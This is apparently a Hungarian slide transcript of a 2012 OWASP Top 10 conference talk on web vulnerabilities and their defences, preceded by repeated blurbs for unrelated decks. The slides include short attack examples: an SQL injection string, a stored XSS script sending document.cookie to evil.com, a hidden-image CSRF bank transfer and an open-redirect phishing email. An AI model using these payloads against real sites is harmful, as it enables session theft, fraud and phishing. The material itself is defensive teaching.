Az előadás 2012. november 28.-án az OWASP Day Hungary konferencián hangzott el. Célja a web-alkalmazásokat érintő 10 legjelentősebb sérülékenység bemutatása.
Ezzel az oktató anyaggal azoknak a munkavállalóknak szeretnénk segíteni, akik távmunkára álltak vagy állnak át. Összeszedtük, milyen veszélyek leselkednek ránk a kibertérben, és ezek hogyan kerülhetők el.
Anyagunkat folyamatosan aktualizáljuk, kérjük figyelje a verziószámot!
Vigyázzon munkatársaira, és ne vállaljon felesleges kiberbiztonsági kockázatot!
Ezzel az oktató anyaggal anyaggal azoknak a munkavállalóknak szeretnénk segíteni, akik távmunkára álltak vagy állnak át. Összeszedtük, milyen veszélyek leselkednek ránk a kibertérben, és ezek hogyan kerülhetők el. Anyagunkat folyamatosan aktualizáljuk, kérjük figyelje a verziószámot! Vigyázzon munkatársaira, és ne vállaljon felesleges kiberbiztonsági kockázatot!
Olvassátok, használjátok, és köszönjük, ha megosztjátok! 'A kész jobb, mint a tökéletes' elv alapján vállaljuk, hogy lesznek benne hiányosságok, de meggyőződésünk, hogy hiánypótló és hasznos anyag, melyet folyamatosan frissítünk majd.
Az előadás 2012. október 20.-án a Magyarországi Web Konferencián hangzott el. Célja a web-alkalmazásokban tárolt jelszavak biztonságos kezelésének tudatosítása.
A brief introduction and overview of construction management and its application. A guidance for civil engineers teachers and students.
To get these slides please visit
http://www.xubitech.com/
Hálózatunkat érhető támadások sokat fejlődtek az elmúlt években. Sokkal kifinomultabbak, hosszabb ideig tartó és célzott támadások ellen kell védekeznünk. Hálózatunk számos védelmi komponenst tartalmaz, melyek mindegyike kibővíthető vagy kiegészíthető mélyebb elemzési ismeretekkel. Az összetett és nagy adathalmaz feldolgozása érdekében javasolt lehet egy közös felügyeleti és jelentéskezelő rendszerrel támogatott megoldás kialakítása a védekezés eredményességének fokozása érdekében. A megoldásunk új elemekkel bővíthető, illetve meglevő hálózati, tartalomszűrő rendszerekbe is integrálható. A végponti kiterjesztés alacsony terhelést jelent, s megfér a meglevő vírusirtó rendszer mellett. NAC rendszerrel integrálható, így dinamikusan korlátozhatóak a kitörések. A közös menedzsment előnye a grafikus terjedési térképek megjelenítése.
További információért kérjük látogasson el honlapunkra és vegye fel a kapcsolatot szakértőinkkel: http://www.snt.hu/megoldasok/informaciobiztonsag/
Security analysis and development opportunities of Hungarian e-government (in...Csaba Krasznay
In 2009 and 2010 a huge development is expected in the Hungarian e-government system. Although information security aspects have an emphasized role solid principals and practices hasn’t been identified for the developments. This study reviews the design directions of the Hungarian e-government and presents some predictable IT security risks. This is done by the formalism of Common Criteria standard considering the governmental expectations. In the following chapter the author studies the current recommendations which are useable during the design and implementation and then outlines the ideal direction with the analysis of the Japanese example. Last it represents the overall security situation of the Hungarian e-government system and proposes some scientific topics for the improvement.
Ezzel az oktató anyaggal azoknak a munkavállalóknak szeretnénk segíteni, akik távmunkára álltak vagy állnak át. Összeszedtük, milyen veszélyek leselkednek ránk a kibertérben, és ezek hogyan kerülhetők el.
Anyagunkat folyamatosan aktualizáljuk, kérjük figyelje a verziószámot!
Vigyázzon munkatársaira, és ne vállaljon felesleges kiberbiztonsági kockázatot!
Ezzel az oktató anyaggal anyaggal azoknak a munkavállalóknak szeretnénk segíteni, akik távmunkára álltak vagy állnak át. Összeszedtük, milyen veszélyek leselkednek ránk a kibertérben, és ezek hogyan kerülhetők el. Anyagunkat folyamatosan aktualizáljuk, kérjük figyelje a verziószámot! Vigyázzon munkatársaira, és ne vállaljon felesleges kiberbiztonsági kockázatot!
Olvassátok, használjátok, és köszönjük, ha megosztjátok! 'A kész jobb, mint a tökéletes' elv alapján vállaljuk, hogy lesznek benne hiányosságok, de meggyőződésünk, hogy hiánypótló és hasznos anyag, melyet folyamatosan frissítünk majd.
Az előadás 2012. október 20.-án a Magyarországi Web Konferencián hangzott el. Célja a web-alkalmazásokban tárolt jelszavak biztonságos kezelésének tudatosítása.
A brief introduction and overview of construction management and its application. A guidance for civil engineers teachers and students.
To get these slides please visit
http://www.xubitech.com/
Hálózatunkat érhető támadások sokat fejlődtek az elmúlt években. Sokkal kifinomultabbak, hosszabb ideig tartó és célzott támadások ellen kell védekeznünk. Hálózatunk számos védelmi komponenst tartalmaz, melyek mindegyike kibővíthető vagy kiegészíthető mélyebb elemzési ismeretekkel. Az összetett és nagy adathalmaz feldolgozása érdekében javasolt lehet egy közös felügyeleti és jelentéskezelő rendszerrel támogatott megoldás kialakítása a védekezés eredményességének fokozása érdekében. A megoldásunk új elemekkel bővíthető, illetve meglevő hálózati, tartalomszűrő rendszerekbe is integrálható. A végponti kiterjesztés alacsony terhelést jelent, s megfér a meglevő vírusirtó rendszer mellett. NAC rendszerrel integrálható, így dinamikusan korlátozhatóak a kitörések. A közös menedzsment előnye a grafikus terjedési térképek megjelenítése.
További információért kérjük látogasson el honlapunkra és vegye fel a kapcsolatot szakértőinkkel: http://www.snt.hu/megoldasok/informaciobiztonsag/
Security analysis and development opportunities of Hungarian e-government (in...Csaba Krasznay
In 2009 and 2010 a huge development is expected in the Hungarian e-government system. Although information security aspects have an emphasized role solid principals and practices hasn’t been identified for the developments. This study reviews the design directions of the Hungarian e-government and presents some predictable IT security risks. This is done by the formalism of Common Criteria standard considering the governmental expectations. In the following chapter the author studies the current recommendations which are useable during the design and implementation and then outlines the ideal direction with the analysis of the Japanese example. Last it represents the overall security situation of the Hungarian e-government system and proposes some scientific topics for the improvement.
Túlélés a Három Betűs Rövidítések világábanOpen Academy
A modern biztonsági fenyegetések anatómiája, régi módszerek, új megvilágításban. Rendelkezésre álló biztonsági megoldások és ezek problémái. A hagyományos védelmi szemlélet megkérdőjelezése.
(Buherátor, méltán híres blogger, BuheraBlog)
Túlélés a Három Betűs Rövidítések világábanOpen Academy
A modern biztonsági fenyegetések anatómiája, régi módszerek, új megvilágításban. Rendelkezésre álló biztonsági megoldások és ezek problémái. A hagyományos védelmi szemlélet megkérdőjelezése.
(Buherátor, méltán híres blogger, BuheraBlog)
1. OWASP TOP10
Azaz a 10 legkritikusabb hiba web-alkalmazásokban
2012. November 28.
2. Bemutatkozás
• Prém Dániel
Tanszéki mérnök az Óbudai Egyetemen.
Az iSec Newton Security csoport egyik vezetője.
prem.daniel@nik.uni-obuda.hu
3. A TOP10 bemutatása
A projekt célja, hogy összegyűjtse egy dokumentumba a webes
alkalmazásokat érintő tíz legjelentősebb sérülékenységi fajtát és
ezáltal segítséget nyújtson a szervezeteknek, hogy biztonságosabb
programkódot készíthessenek.
Az első lista 2003-ban látott napvilágot, majd frissítették 2004-ben, a
következő kiadás 2007-ben debütált és a jelenlegi utolsó verzió
2010. április 19.-én került a nyilvánosság elé.
A dokumentum eredeti nyelve angol, de lefordították
francia, német, olasz, spanyol, kínai, japán, koreai, indonéz, vietnámi
és héber nyelvre!
4. A TOP10 felhasználói
• U.S. Defense Information Systems Agency
• U.S. Federal Trade Commission
• Payment Card Industry (PCI)
• British Telecom
• Citibank
• HP
• IBM Global Services
• Symantec
• És még sokan mások…
5. A TOP10-es lista áttekintése
https://www.owasp.org/index.php/Top_10
6. A1: Injection
• A befecskendezés lényege, hogy adatokat vagy
utasításokat juttatunk be az alkalmazáson keresztül a
parancsértelmezőnek
• SQL, LDAP, XPath, OS Shell, kódbefecskendezés, stb…
• Sajnos a mai napig igen elterjedt (főleg az SQL Injection)
azonban elég egyszerűen elkerülhető lenne megfelelő
odafigyeléssel
• Az elmúlt években olyan szervezetek estek áldozatul
ennek a támadási formának mint a
Sony, LinkedIn, eHarmony és a Yahoo
7. A1: Injection
1. Hacker Hanry betölti az oldalt
2. Majd a támadást az űrlapba
beírja és beküldi a szerverre
3. Az alkalmazás felépíti az SQL
lekérdezést és továbbítja az
adatbázis felé
4. Az adatbázis lefuttatja a
módosított lekérdezést és az
adatokat visszaküldi az
alkalmazásnak
5. Az alkalmazás kiadja az
SELECT * FROM `users`
user #1: Kiss Béla, kiss.bela@email.hu, … adatokat, jóváhagyja a
user #2: Nagy Nóra,= '' OR 1=1 --' …
WHERE `name` nora.nagy@webcim.hu, hozzáférést, lefuttatja az
AND `pass` = '';
… utasításokat…
user #n: Tóth Péter, pepe@webmail.hu, …
8. A1: Injection
• Javaslatok:
– Alkalmazzunk megfelelő bemeneti paraméter
ellenőrzést (pl.: típus, hossz, érték, stb…)
– Ahol csak tehetjük, alkalmazzunk White List alapú
ellenőrzést a bemenő adatokon
– Használjunk jól bevált technikákat, mint a
Prepared Statements vagy Stored Procedures
– A kiosztott adatbázis jogosultságot minimalizáljuk
• Bővebben:
http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
9. A2: Cross-Site Scripting (XSS)
• A támadás a felhasználók böngészőjében hajtódik végre
• Lehet tárolt, tükrözött és DOM alapú
• Szinte biztosan található minden web-alkalmazásban XSS
sérülékenység…
• Tipikusan a felhasználói munkamenet vagy
érzékeny/személyes adatok megszerzésére használatos. De
előfordul, hogy segítségével módosítják a weboldal
tartamát, esetleg a látogatót átirányítják egy adathalász
oldalra
• Az elmúlt időszakban olyan honlapokban találtak XSS
hibákat, mint az iwiw.hu, ebay.com, cnn.com, adobe.com,
amazon.com, microsoft.com, myspace.com
10. A2: Cross-Site Scripting (XSS)
Tárolt XSS 1. Hacker Hanry betölti az oldalt
és az ártó kódját beküldi az
alkalmazásnak
2. Alice betölti az alkalmazást a
tárolt kóddal együtt
3. Alice böngészője lefuttatja a
kódot és kiszolgáltatja az
adatokat vagy módosítja a
honlap szerkezét mivel a teljes
DOM elérhető
<script> 4. Hacker Hanry letölti a
document.write( szerverről milyen adatokat
”<img src=’http://evil.com?q=” gyűjtött össze…
+ document.cookie + ”’ alt=’’ />” );
</script>
11. A2: Cross-Site Scripting (XSS)
• Javaslatok:
– Ne használjuk fel (és ne jelenítsük meg) közvetlenül a
felhasználók által bevitt adatokat
– Alkalmazzunk kimeneti kódolást (pl.: HTML entitások)
minden felhasználói adatra
– Ha bejövő HTML adatot kell kezelni, akkor pedig
minden esetben meg kell tisztítani az adatokat
http://www.owasp.org/index.php/AntiSamy
• Bővebben:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)
_Prevention_Cheat_Sheet
12. A3: Broken Authentication and
Session Management
• Az alkalmazások a felhasználók hitelesítését és munkamenet kezelését
gyakran nem megfelelően hajtják végre, így lehetővé teszik a támadóknak,
hogy megszerezzék esetleg kitalálják a jelszavakat és munkamenet
azonosítókat, vagy egyéb végrehajtási hibákat kihasználva
megszemélyesítsenek egy felhasználót.
– A bejelentkezést sok esetben titkosított csatornán (SSL) lehet elvégezni, azonban ez
sokszor nem kényszerített, tehát lehallgatható
– Másik alapvető hiba, hogy munkamenet azonosító védelméről is megfeledkezünk. Tudni
kell, hogy kinek adtuk oda, meddig érvényes, stb…
– Egy hacker szemszögéből szinte lényegtelen, hogy a felhasználónév és jelszó párost szerzi
meg vagy a munkamenet azonosítót, hiszen mind a kettő segítségével meg tudja
személyesíteni az áldozatot
– Természetesen ide tartozik még a gyenge jelszó kezelés, azaz nincs minimális hossz, vagy
nincs megkövetelve a jelszó komplexitás
– Valamint a nem kellő körültekintéssel megtervezett jelszó emlékeztető
13. A3: Broken Authentication and
Session Management
Lehallgatás:
1. Hacker Hanry monitorozza a
www.site.com?JSESSION=93C6A... hálózati forgalmat
2. Alice bejelentkezik az
alkalmazásba
3. Hacker Hanry megszerezte
Alice belépési adatait
Munkamenet eltérítés:
1. Alice munkamenetét az oldal
URL-ben adja vissza
2. Alice kattint egy linkre, amit
egy bejegyzésben talált
(pl.: http://www.evil.com)
3. Hacker Hanry letölti a napló
referer tartalmát
3. Hacker Hanry megszemélyesíti
Alicet a munkament birtokában
14. A3: Broken Authentication and
Session Management
• Javaslatok:
– A beléptetés legyen egyszerű, centralizált és standardizált
– Ügyeljünk arra, hogy a belépési adatokat és a munkamenet
azonosítót mindig SSL csatornával védjük
– Felejtsük el az automatizált sérülékenység vizsgálati
eszközöket
– Ellenőrizzük az SSL tanúsítvány hitelességét és
érvényességét
– Bizonyosodjunk meg arról, hogy a kilépés biztosan
megszünteti a munkamenetet és a benne tárolt adatokat
• Bővebben:
https://www.owasp.org/index.php/Authentication_Cheat_Sheet
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
15. A4: Insecure Direct Object
References
• Akkor fordul elő, amikor egy hivatkozást helyezünk el egy
állományra, oldalra, könyvtárra vagy bármilyen objektumra,
anélkül, hogy bármilyen hozzáférés vezérlést alkalmaznánk
• Ez a téma érinti a jogosultság kezelést és az A8-as URL
hozzáférés korlátozásának hiányának fejezetét
• Gyakori hiba, hogy csak azokat a tartalmakat listázzuk,
amelyhez a felhasználónak joga van. Azonban a szerver
oldalon amikor a konkrét kérés végrehajtódik ezt már nem
ellenőrizzük újra. Így a támadó bármikor átírja az objektum
hivatkozást és olyan tartalomhoz is hozzáférhet, amelyhez
normál esetben nem lenne szabad
16. A4: Insecure Direct Object
References
https://onlinebank.com/overview? acc=4057
acc=4056 1. A felhasználó betölti a bank
online felületét
2. Hacker Hanry észreveszi, hogy
a saját azonosítója a 4057
3. Majd módosítja a paramétert
4. Végül Hacker Hanry megszerzi
áldozata számlaösszesítőjén
található információkat
17. A4: Insecure Direct Object
References
• Javaslatok:
– Kerüljük a Path Traversal, Local File Inclusion lehetőségét
– A közvetlen linkelés helyett alkalmazzunk valamilyen leképzési technikát:
http://webapp.com/get?file=SecretReport.pdf
http://webapp.com/get?file=C5LDJ28S832K
– Ellenőrizzük, hogy a paraméter megfelelő formátumú-e
– Minden esetben ellenőrizzük, hogy a felhasználó jogosult-e a tartalom
elérésre
– Ügyeljünk arra is, hogy csak a megfelelő műveletet végezhesse el az adott
objektummal a felhasználó (pl.: olvasás, írás, törlés)
• Bővebben:
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
18. A5: Cross-Site Request Forgery
(CSRF)
• Ebben a támadásban a támadó ráveszi az áldozat böngészőjét, hogy
egy kérést intézzen a sérülékeny alkalmazás felé
• Ez a módszer azért sikeres, mert a böngésző minden kéréshez elküldi
az azonosítási adatokat is, mint pl.: Authentication Header, Session ID,
IP cím, Windows domain creditentials, stb…
• Továbbá az is hozzájárul, hogy az áldozat nem lép ki az alkalmazásból
• Az előző két pont hatásaként a támadó olyan kéréseket indíthat a
sérülékeny alkalmazás felé, amit az legitim forgalomnak fog értékelni
• Tipikusan arra használják, hogy átutalásokat kezdeményezzenek,
esetleg zároljanak egy fiókot, vagy bizalmas adatokhoz férjenek hozzá
19. A5: Cross-Site Request Forgery
(CSRF)
1. Hacker Hanry elhelyezi az
ártalmas kódot egy honlapon,
amit az áldozati is látogat
2. Alice meglátogatja a
sérülékeny
alkalmazást, viszont nem
3. jelentkezik ki Alice
Kicsivel később
meglátogatja azt az oldalt,
ahová Hacker Hanry beszúrta
az ártalmas kódját
4. Alice böngészője értelmezi a
kódot, majd egy legitimnek
tűnő kérést intéz a sérülékeny
alkalmazáshoz Alice nevében,
amit valójában Hacker Hanry
<img src=”http://mybank.com/transfer?
kezdeményezett…
amount=1500&dstAcc=4057” width=”0” height=”0” />
20. A5: Cross-Site Request Forgery
(CSRF)
• Javaslatok:
– Használjunk token rendszert, ahol érzékeny adatok feldolgozása
történik, ezáltal ellehetetlenítve a támadót, hogy kérést hamisítson
– A tokennek kriptográfiai erősségűnek vagy randomnak kell lennie
– Kerüljük a token URL-be helyezését, mert a referer mezővel kiolvasható
– Űrlapok esetében a rejtett mező erősen javasolt
– Minden egyes kérésnek egyedi tokenje legyen, lehetőleg lejárati idővel
– Használjunk másodlagos (kétfaktoros) authentikációt az érzékeny
műveletekhez
• Bővebben:
https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet
21. A6: Security Misconfiguration
• Az igazi biztonság megköveteli, hogy a teljes rendszer naprakész és
jól konfigurált legyen az operációs rendszertől a web és adatbázis
szerveren át a teljes alkalmazásig
• Mindezeket a beállításokat meg kell határozni, végre kell hajtani
majd folyamatosan karbantartani és ellenőrizni
• Fontos azt is tudni, hogy a gyártók a termékeket alapból nem a
biztonságos konfigurációval látják el, hiszen akkor a használatba
vétel igen nehézkes lenne. Emiatt azt későbbi beállításokkal kell
megteremteni
• Nem szabad megfeledkezni hogy nem csak az OS-t és az
alkalmazásokat kell ellenőrizni, hanem minden osztálykönyvtárat
és külső modult is amelyet az alkalmazás használ
23. A6: Security Misconfiguration
• Javaslatok:
– Ellenőrizni kell a beállításokat minden szinten
– Javasolt a Hardening Guide-ok alkalmazása
– Az automatizálás ezen a ponton NAGYON HASZNOS lehet
– Tartsuk napra késszen a rendszereket a javításokkal, nem csak az
operációs rendszer és az alkalmazásokat, hanem minden osztálykönyvtárra
fordítsunk kellő figyelmet
– Elemezzük a változások biztonsági hatását
• Bővebben:
https://www.owasp.org/index.php/Configuration
https://www.owasp.org/index.php/Testing_for_configuration_management
24. A7: Insecure Cryptographic
Storage
• Elmulasztjuk meghatározni az érzékeny adatokat így általában
nem a kellő körültekintéssel kezeljük őket
• Valamint nem figyelünk eléggé, hogy minden előfordulási helyen
megfelelően kezeljük azokat
• Ebbe a részbe beletartozik:
– a gyenge titkosítás, ami miatt visszafejthető az adat
– a titkosítási kulcs nem megfelelő kezelése (pl.: a szalagos meghajtóra került
adatokat titkosítjuk, majd a kulcs ugyan arra a szalagra kerül)
– a hibásan implementált jelszó kivonatok, hiszen egy sózás nélküli hash akár
néhány óra alatt visszafejthető lehet
– a napló állományokba bekerült ellenőrizetlen adatok
(pl.: a webszerver naplójába letároljuk a felhasználói jelszavakat)
25. A7: Insecure Cryptographic
Storage
1. Az áldozat megadja a
bankkártya adatait az
alkalmazásnak
2. A hibanaplózó lementi a kérés
adatait a napló állományba,
mivel a Fizetési Átjáró nem
elérhető
3. Minden IT dolgozó számára
elérhetőek a napló
állományok a hibakeresés
céljából
4. Egy belső munkatárs máris
meglovasítja a naplóban
található 4 millió kártya
számot…
26. A7: Insecure Cryptographic
Storage
• Javaslatok:
– Azonosítsuk az érzékeny adatokat
– Azonosítsuk a helyeket ahova az érzékeny adatok kerülhetnek
– Védjük az adatokat és folyamatokat megfelelő titkosítással vagy
kivonatolással
– Használjunk standard és bizonyított eljárásokat ne találjunk ki sajátot,
mert az nem bizonyított
– A kulcsok kezelése legyen megoldva és kellő körültekintéssel kezelve
– Készüljünk fel kulcsserére
• Bővebben:
https://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
https://www.owasp.org/index.php/Guide_to_Cryptography
https://www.owasp.org/index.php/Codereview-Cryptography
27. A8: Failure to Restrict URL
Access
• Ez a téma kapcsolatban áll a jogosultság kezeléssel és az A4-es
fejezettel, ami a nem biztonságos közvetlen objektum hozzáférés címet
viselte
• Ez a fejezet viszont kifejezetten az alkalmazás oldalaira tér ki az URL
manipulálásával
• Az alapvető probléma, hogy a jogosultságokat a linkrendszerbe építik bele
és csak azokat a linkeket vagy menüket jelenítik meg a felhasználó számára
amihez joga van, azonban ha kézzel átírja a hivatkozásokat és a szerver
oldalon nem történik meg az újraellenőrzés, hogy ténylegesen jogosult-e a
tartalom megtekintésére vagy módosítására…
28. A8: Failure to Restrict URL
Access
https://onlinebank.com/ admin /overview
user 1. A felhasználó betölti a bank
online felületét
2. Hacker Hanry észreveszi, hogy
felhasználó szerepkörben van
3. Majd módosítja a
paramétert, ezáltal a
szerepkörét
4. Végül Hacker Hanry magasabb
jogkörre tesz szert, mint
alapból járna neki, így több
információhoz jut hozzá
29. A8: Failure to Restrict URL
Access
• Javaslatok:
– Minden oldalnak 3 dologra van szüksége:
• Ellenőrizze, hogy a felhasználó belépett-e (ha nem publikus a tartalom)
• Végre kell hajtani a felhasználói vagy a szerepkör alapú jogosultságkezelést
• Teljesen le kell tiltani a lehetőségét a jogosulatlan kérelmeknek, amelyek konfigurációs
állományokra, napló fájlokra vagy forrás állományokra irányulnak
– Alkalmazzunk White List féle megközelítést
– Az automatizált eszközök itt is sokszor gyengének bizonyulnak
• Bővebben:
https://www.owasp.org/index.php/Guide_to_Authorization
https://www.owasp.org/index.php/Testing_for_Path_Traversal
https://www.owasp.org/index.php/Forced_browsing
30. A9: Insufficient Transport Layer
Protection
• Az alkalmazások gyakran nem hitelesítik vagy titkosítják az érzékeny
adatokat a hálózati forgalomban, ezáltal sérül a bizalmasság és a
sértetlenség
• Ha mégis, akkor előfordul, hogy gyenge algoritmusokat, érvénytelen
tanúsítványokat használnak, esetleg nem megfelelően kezelik őket
• A támadó emiatt könnyűszerrel hozzáférhet olyan privát adatokhoz, mint
az infrastruktúra elemei, operációs rendszer adatok, felhasználói
azonosítók, bankkártya adatok, egészségügyi információk, pénzügyi
adatok, stb…
• A megszerzett adatokat későbbi támadáshoz felhasználhatja, de akár a
feketepiacon is eladhatja
31. A9: Insufficient Transport Layer
Protection
1. A külső támadó könnyedén
lehallgathatja a hálózati
forgalmat és megszerezheti a
belépési adatokat
2. Sok esetben csak a web
szerver és a kliens közötti
kapcsolat titkosított, ekkor
minden gond nélkül egy belső
támadó lehallgathatja az
alkalmazás és a backend
közötti forgalmat
32. A9: Insufficient Transport Layer
Protection
• Javaslatok:
– Alkalmazzunk TLS kapcsolatot mindenhol, ahol érzékeny adat közlekedik
– Egyenként minden üzenetet titkosítsunk
– Digitálisan írjuk alá az üzeneteket
– Standard algoritmusokat használjunk
– Megfelelően tároljuk a kulcsokat és a tanúsítványokat
– Ellenőrizzük az SSL tanúsítványokat mielőtt használjuk
• Bővebben:
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_SSL-TLS
33. A10: Avoiding Unvalidated
Redirects and Forwards
• A webes alkalmazások gyakran átirányítják (Redirect) vagy továbbítják
(Forward/Transfer) egy másik lapra a felhasználókat
• Megfelelő ellenőrzés nélkül a támadó ezt kihasználhatja és átirányíthatja a
felhasználót egy adathalász oldalra
• De akár egy továbbítás segítségével jogosulatlan tartalomhoz is
hozzáférhet a támadó, hiszen kikerülheti a hozzáférés vezérlés
mechanizmusát
34. A10: Avoiding Unvalidated
Redirects and Forwards
1. Hacker Hanry levelet küld az
Alice céges E-mail címére
2. Alice kattint a linkre, mivel
megbízik benne, hiszen jó
domain névre mutat
3. Az alkalmazás nem ellenőrzi a
redirect paramétert tehát szól
Alice böngészőjének, hogy
átirányítja a következő lapra,
ami jelen esetben egy
adathalász oldal
From: noreply@nav.hu 4. Alice böngészője betölti az
http://nav.gov.hu/ado?ev=2012
To: alice@cegem.hu adathalász oldalt
&...&redirect=www.adathalasz.hu
Subject: Nem várt adó visszatérítés 5. Alice megbízik az adathalász
oldalban, hiszen az előbb
A nyilvántartásunk szerint Önnek lehetősége van adó visszatérítést ellenőrizte az címet és
igényelnie! A folyamat elkezdéséhez kérjük kattintson ide. kinézete is megegyezik az
eredetivel
35. A10: Avoiding Unvalidated
Redirects and Forwards
• Javaslatok:
– Minimalizáljuk az átirányítások számát az alkalmazásban
– Ha alkalmazzuk, akkor kerüljük a felhasználói paraméterben megadható
átirányításokat
– Ha elkerülhetetlen a paraméteres átirányítás akkor mindig ellenőrizzük,
hogy a felhasználó jogosult-e az átirányított oldalt elérni
– Külső átirányítás esetén ellenőrizzük, hogy a cél szerepel-e a fehérlistán
• Bővebben:
https://www.owasp.org/index.php/Open_redirect
36. Hogyan lehet megoldani ezeket
a problémákat?
• Fejlesszünk biztonságos kódot
– OWASP’s Guide to Building Secure Web Applications
http://www.owasp.org/index.php/Guide
– OWASP’s Application Security Verification Standard
http://www.owasp.org/index.php/ASVS
– OWASP’s Enterprise Security API
http://www.owasp.org/index.php/ESAPI
• Ellenőrizzük az alkalmazást
– Legyen egy szakértői csoport aki átnézi az alkalmazást
– OWASP's Code Review Guide
http://www.owasp.org/index.php/Code_Review_Guide
– OWASP's Testing Guide
http://www.owasp.org/index.php/Testing_Guide